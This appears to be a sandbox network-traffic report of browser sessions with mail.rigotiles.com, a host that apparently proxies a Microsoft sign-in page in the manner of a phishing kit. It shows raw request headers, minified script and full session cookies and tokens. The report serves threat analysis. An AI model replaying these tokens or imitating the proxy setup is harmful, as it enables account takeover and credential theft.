{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=70axatBQKMOZ9g4XtY8u9QeMDkDyrJcTwdTwp%2FPu%2BnBrhHTjebvF3aeyNzqZfDZHbsCW%2FU7ALwcImsf1gnhOQ%2BxNqR20jUx5JSb0cvs%2F1RZaTGjdx%2B9J4bpJM1b57j3jGilrh3AP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bb10ed81441-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:23 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 32 33 37 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 30 26 72 65 63 76 5f 62 79 74 65 73 3d 31 33 31 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 34 37 36 37 39 37 26 63 77 6e 64 3d 32 33 35 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 37 31 64 36 30 63 34 64 34 32 31 31 38 61 65 32 26 74 73 3d 31 36 33 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1237&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1313&delivery_rate=1476797&cwnd=235&unsent_bytes=0&cid=71d60c4d42118ae2&ts=163&x=0"
2024-10-31 20:55:23 UTC	1312	IN	Data Raw: 37 61 63 34 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f Data Ascii: 7ac4/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright no
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 6e 74 65 6e 74 54 79 70 65 2e 4a 73 6f 6e 2c 72 65 71 75 65 73 74 54 79 70 65 3a 6f 2e 52 65 71 75 65 73 74 54 79 70 65 2e 47 65 74 2c 74 69 6d 65 6f 75 74 3a 33 65 34 2c 73 75 63 63 65 73 73 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 28 65 29 7d 2c 66 61 69 6c 75 72 65 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 65 3c 6e 3f 28 65 2b 3d 31 2c 6e 65 77 20 6f 2e 48 61 6e 64 6c 65 72 28 75 29 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 29 3a 73 28 74 29 7d 7d 3b 6e 65 77 20 6f 2e 48 61 6e 64 6c 65 72 28 75 29 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 7d 29 29 7d 28 74 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 70 61 72 73 65 28 74 29 7d 29 2c 28 66 75 6e 63 74 Data Ascii: ntentType.Json,requestType:o.RequestType.Get,timeout:3e4,successCallback:function(t,e){r(e)},failureCallback:function(t){e<n?(e+=1,new o.Handler(u).sendRequest()):s(t)}};new o.Handler(u).sendRequest()}))}(t).then((function(t){return JSON.parse(t)}),(funct
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 74 29 7b 74 26 26 22 66 75 6c 66 69 6c 6c 65 64 22 3d 3d 3d 74 2e 73 74 61 74 75 73 26 26 74 2e 76 61 6c 75 65 26 26 28 72 3d 72 2e 63 6f 6e 63 61 74 28 74 2e 76 61 6c 75 65 29 29 7d 29 29 2c 65 2e 73 74 72 69 6e 67 73 28 72 29 2c 65 2e 73 74 72 69 6e 67 73 2e 69 73 4c 6f 61 64 43 6f 6d 70 6c 65 74 65 28 21 30 29 7d 29 29 2c 73 2e 61 6c 6c 53 65 74 74 6c 65 64 28 6e 2e 63 6f 6e 63 61 74 28 6f 29 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 69 73 4c 6f 61 64 43 6f 6d 70 6c 65 74 65 28 21 30 29 7d 29 29 2c 73 2e 61 6c 6c 28 6e 29 5b 22 63 61 74 63 68 22 5d 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 72 6f 77 20 65 2e 69 73 4c 6f 61 64 46 61 69 6c 75 72 65 28 21 30 29 2c 74 7d 29 29 7d 7d 7d 2c 2c 2c 66 75 6e 63 74 69 6f Data Ascii: tion(t){t&&"fulfilled"===t.status&&t.value&&(r=r.concat(t.value))})),e.strings(r),e.strings.isLoadComplete(!0)})),s.allSettled(n.concat(o)).then((function(){e.isLoadComplete(!0)})),s.all(n)["catch"]((function(t){throw e.isLoadFailure(!0),t}))}}},,,functio
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 37 7d 7d 29 5b 31 5d 7d 29 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 38 34 29 2c 6f 3d 53 74 72 69 6e 67 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 53 79 6d 62 6f 6c 22 3d 3d 3d 6e 28 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 6f 6e 76 65 72 74 20 61 20 53 79 6d 62 6f 6c 20 76 61 6c 75 65 20 74 6f 20 61 20 73 74 72 69 6e 67 22 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 36 32 37 29 2c 6f 3d 46 75 6e 63 74 69 6f Data Ascii: et:function(){return 7}})[1]}))},function(t,e,r){"use strict";var n=r(584),o=String;t.exports=function(t){if("Symbol"===n(t))throw new TypeError("Cannot convert a Symbol value to a string");return o(t)}},function(t,e,r){"use strict";var n=r(627),o=Functio
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 26 6f 2e 70 72 6f 74 6f 74 79 70 65 29 3f 41 28 69 29 2e 54 79 70 65 64 41 72 72 61 79 43 6f 6e 73 74 72 75 63 74 6f 72 3d 6f 3a 4c 3d 21 31 3b 66 6f 72 28 6e 20 69 6e 20 42 29 28 69 3d 28 6f 3d 61 5b 6e 5d 29 26 26 6f 2e 70 72 6f 74 6f 74 79 70 65 29 26 26 28 41 28 69 29 2e 54 79 70 65 64 41 72 72 61 79 43 6f 6e 73 74 72 75 63 74 6f 72 3d 6f 29 3b 69 66 28 28 21 4c 7c 7c 21 63 28 50 29 7c 7c 50 3d 3d 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 26 26 28 50 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 4d 28 22 49 6e 63 6f 72 72 65 63 74 20 69 6e 76 6f 63 61 74 69 6f 6e 22 29 7d 2c 4c 29 29 66 6f 72 28 6e 20 69 6e 20 44 29 61 5b 6e 5d 26 26 62 28 61 5b 6e 5d 2c 50 29 3b 69 66 28 28 21 4c 7c 7c 21 52 7c 7c 52 3d 3d 3d 6a Data Ascii: &o.prototype)?A(i).TypedArrayConstructor=o:L=!1;for(n in B)(i=(o=a[n])&&o.prototype)&&(A(i).TypedArrayConstructor=o);if((!L\|\|!c(P)\|\|P===Function.prototype)&&(P=function(){throw new M("Incorrect invocation")},L))for(n in D)a[n]&&b(a[n],P);if((!L\|\|!R\|\|R===j
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 72 28 36 31 32 29 2c 69 3d 72 28 35 34 38 29 2c 73 3d 72 28 36 31 33 29 2c 75 3d 72 28 36 31 31 29 2c 61 3d 72 28 38 30 35 29 2c 63 3d 6e 2e 53 79 6d 62 6f 6c 2c 66 3d 6f 28 22 77 6b 73 22 29 2c 6c 3d 61 3f 63 5b 22 66 6f 72 22 5d 7c 7c 63 3a 63 26 26 63 2e 77 69 74 68 6f 75 74 53 65 74 74 65 72 7c 7c 73 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 69 28 66 2c 74 29 7c 7c 28 66 5b 74 5d 3d 75 26 26 69 28 63 2c 74 29 3f 63 5b 74 5d 3a 6c 28 22 53 79 6d 62 6f 6c 2e 22 2b 74 29 29 2c 66 5b 74 5d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e Data Ascii: r(612),i=r(548),s=r(613),u=r(611),a=r(805),c=n.Symbol,f=o("wks"),l=a?c["for"]\|\|c:c&&c.withoutSetter\|\|s;t.exports=function(t){return i(f,t)\|\|(f[t]=u&&i(c,t)?c[t]:l("Symbol."+t)),f[t]}},function(t,e,r){"use strict";var n="object"==typeof document&&document.
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 74 5b 65 5d 7d 63 61 74 63 68 28 66 29 7b 7d 61 3f 74 5b 65 5d 3d 72 3a 6f 2e 66 28 74 2c 65 2c 7b 76 61 6c 75 65 3a 72 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 75 2e 6e 6f 6e 43 6f 6e 66 69 67 75 72 61 62 6c 65 2c 77 72 69 74 61 62 6c 65 3a 21 75 2e 6e 6f 6e 57 72 69 74 61 62 6c 65 7d 29 7d 72 65 74 75 72 6e 20 74 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 34 30 29 2c 6f 3d 72 28 38 30 37 29 2c 69 3d 72 28 38 30 38 29 2c 73 3d 72 28 35 34 33 29 2c 75 3d 72 28 35 39 34 29 2c 61 3d 54 79 70 65 45 72 72 6f 72 2c 63 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 2c 66 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 Data Ascii: t[e]}catch(f){}a?t[e]=r:o.f(t,e,{value:r,enumerable:!1,configurable:!u.nonConfigurable,writable:!u.nonWritable})}return t}},function(t,e,r){"use strict";var n=r(540),o=r(807),i=r(808),s=r(543),u=r(594),a=TypeError,c=Object.defineProperty,f=Object.getOwnPr
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 72 65 61 64 79 20 69 6e 69 74 69 61 6c 69 7a 65 64 22 29 3b 72 65 74 75 72 6e 20 65 2e 66 61 63 61 64 65 3d 74 2c 63 28 74 2c 67 2c 65 29 2c 65 7d 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 28 74 2c 67 29 3f 74 5b 67 5d 3a 7b 7d 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 28 74 2c 67 29 7d 7d 74 2e 65 78 70 6f 72 74 73 3d 7b 73 65 74 3a 6e 2c 67 65 74 3a 6f 2c 68 61 73 3a 69 2c 65 6e 66 6f 72 63 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 69 28 74 29 3f 6f 28 74 29 3a 6e 28 74 2c 7b 7d 29 7d 2c 67 65 74 74 65 72 46 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3b 69 66 28 21 61 28 65 29 7c 7c 28 72 3d 6f 28 65 29 Data Ascii: ready initialized");return e.facade=t,c(t,g,e),e},o=function(t){return f(t,g)?t[g]:{}},i=function(t){return f(t,g)}}t.exports={set:n,get:o,has:i,enforce:function(t){return i(t)?o(t):n(t,{})},getterFor:function(t){return function(e){var r;if(!a(e)\|\|(r=o(e)
2024-10-31 20:55:23 UTC	1369	IN	Data Raw: 2c 75 3d 72 28 35 36 30 29 2c 61 3d 72 28 35 39 34 29 2c 63 3d 72 28 35 34 38 29 2c 66 3d 72 28 38 30 37 29 2c 6c 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3b 65 2e 66 3d 6e 3f 6c 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 74 3d 75 28 74 29 2c 65 3d 61 28 65 29 2c 66 29 74 72 79 7b 72 65 74 75 72 6e 20 6c 28 74 2c 65 29 7d 63 61 74 63 68 28 72 29 7b 7d 69 66 28 63 28 74 2c 65 29 29 72 65 74 75 72 6e 20 73 28 21 6f 28 69 2e 66 2c 74 2c 65 29 2c 74 5b 65 5d 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 34 30 29 2c 6f 3d 72 28 35 35 36 29 2c 69 3d 72 28 35 37 36 29 3b 74 2e 65 78 70 6f 72 74 73 3d 6e 3f 66 75 6e 63 Data Ascii: ,u=r(560),a=r(594),c=r(548),f=r(807),l=Object.getOwnPropertyDescriptor;e.f=n?l:function(t,e){if(t=u(t),e=a(e),f)try{return l(t,e)}catch(r){}if(c(t,e))return s(!o(i.f,t,e),t[e])}},function(t,e,r){"use strict";var n=r(540),o=r(556),i=r(576);t.exports=n?func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	51043	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:23 UTC	2949	OUT	POST /common/handlers/watson HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive Content-Length: 15817 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: 38bb8568-fea6-41ed-ae3e-ed6af3504c2b canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeJcs6qoCWCwT9s1TITvtL6SixEB0NqhosuTCcHlZSxmgYzzUa4cxq6haVnlEMAwMqA_OgPVyIyHWZRt9U6YZg5BYp3geuxFw0xn5Di991Z3uQmaDXwwBfmUiOMgn7AhLYGFcOFp92va6CN1j9mlio8dvez9YmskLT_5pHB8wnCbFnY4AnUlF7-1XG-ZgfhjKy9nHR70XWnLpH1DulNw1XiCAA Content-Type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json X-Requested-With: XMLHttpRequest hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://mail.rigotiles.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8A [TRUNCATED]
2024-10-31 20:55:23 UTC	15817	OUT	Data Raw: 7b 22 65 63 22 3a 22 5b 52 65 74 72 79 20 30 5d 20 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 65 78 74 65 72 6e 61 6c 20 72 65 73 6f 75 72 63 65 20 5b 27 68 74 74 70 73 3a 2f 2f 76 6e 33 68 67 2e 72 69 67 6f 74 69 6c 65 73 2e 63 6f 6d 2f 65 73 74 73 2f 32 2e 31 2f 63 6f 6e 74 65 6e 74 2f 63 64 6e 62 75 6e 64 6c 65 73 2f 63 6f 6e 76 65 72 67 65 64 2e 76 32 2e 6c 6f 67 69 6e 2e 6d 69 6e 5f 6e 69 6e 38 6b 32 79 63 72 62 7a 77 77 38 7a 6c 35 76 78 6b 61 71 32 2e 63 73 73 27 5d 2c 20 72 65 6c 6f 61 64 69 6e 67 20 66 72 6f 6d 20 66 61 6c 6c 62 61 63 6b 20 43 44 4e 20 65 6e 64 70 6f 69 6e 74 22 2c 22 77 65 63 22 3a 22 35 36 22 2c 22 69 64 78 22 3a 31 2c 22 70 6e 22 3a 22 43 6f 6e 76 65 72 67 65 64 53 69 67 6e 49 6e 22 2c 22 73 63 22 3a 31 30 31 33 2c 22 68 70 Data Ascii: {"ec":"[Retry 0] Failed to load external resource ['https://vn3hg.rigotiles.com/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css'], reloading from fallback CDN endpoint","wec":"56","idx":1,"pn":"ConvergedSignIn","sc":1013,"hp
2024-10-31 20:55:23 UTC	1294	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:23 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Client-Request-Id: 38bb8568-fea6-41ed-ae3e-ed6af3504c2b Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]} Set-Cookie: fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA; Path=/; Expires=Sat, 30 Nov 2024 20:55:23 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None X-Ms-Ests-Server: 2.1.19343.4 - SCUS ProdSlices X-Ms-Request-Id: 0033f6eb-71ea-4d30-97d1-86c1a79e2100 X-Ms-Srs: 1.P cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8db68bb14f832cac-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1766&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2829&recv_bytes=19432&delivery_rate=1360902&cwnd=232&unsent_bytes=0&cid=def1ff64403a3f57&ts=577&x=0"
2024-10-31 20:55:23 UTC	75	IN	Data Raw: 31 30 39 0d 0a 7b 22 61 70 69 43 61 6e 61 72 79 22 3a 22 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 65 36 78 4e 70 50 4d 51 32 79 7a 48 51 49 67 53 49 36 2d 68 4a 72 6b Data Ascii: 109{"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFee6xNpPMQ2yzHQIgSI6-hJrk
2024-10-31 20:55:23 UTC	197	IN	Data Raw: 4e 48 31 47 33 63 36 52 6d 51 6b 42 56 58 62 51 43 57 50 32 7a 4d 61 61 4a 72 6c 45 38 66 58 5a 74 46 47 4b 47 42 46 58 66 49 31 6c 46 35 54 45 36 6c 66 69 6b 74 6d 30 39 32 49 4e 53 70 36 49 66 57 58 4c 35 73 30 5f 43 53 6f 38 73 75 42 4c 49 6f 56 6d 66 5a 76 78 50 75 59 38 54 52 65 6f 52 56 76 66 50 4c 4a 75 7a 41 49 43 2d 65 4d 47 33 6c 39 78 62 78 6f 32 79 42 30 73 36 2d 31 69 79 48 68 6d 75 59 37 4e 49 62 43 66 37 65 73 63 4a 37 35 30 49 48 53 37 32 6a 66 76 37 2d 6e 46 6a 42 6e 55 47 6c 68 4d 4f 2d 67 36 7a 74 71 45 42 2d 43 32 79 58 52 74 54 46 6b 58 2d 7a 43 41 41 22 7d 0d 0a Data Ascii: NH1G3c6RmQkBVXbQCWP2zMaaJrlE8fXZtFGKGBFXfI1lF5TE6lfiktm092INSp6IfWXL5s0_CSo8suBLIoVmfZvxPuY8TReoRVvfPLJuzAIC-eMG3l9xbxo2yB0s6-1iyHhmuY7NIbCf7escJ750IHS72jfv7-nFjBnUGlhMO-g6ztqEB-C2yXRtTFkX-zCAA"}
2024-10-31 20:55:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	51045	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:23 UTC	2949	OUT	POST /common/handlers/watson HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive Content-Length: 14782 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: 38bb8568-fea6-41ed-ae3e-ed6af3504c2b canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeJcs6qoCWCwT9s1TITvtL6SixEB0NqhosuTCcHlZSxmgYzzUa4cxq6haVnlEMAwMqA_OgPVyIyHWZRt9U6YZg5BYp3geuxFw0xn5Di991Z3uQmaDXwwBfmUiOMgn7AhLYGFcOFp92va6CN1j9mlio8dvez9YmskLT_5pHB8wnCbFnY4AnUlF7-1XG-ZgfhjKy9nHR70XWnLpH1DulNw1XiCAA Content-Type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json X-Requested-With: XMLHttpRequest hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://mail.rigotiles.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8A [TRUNCATED]
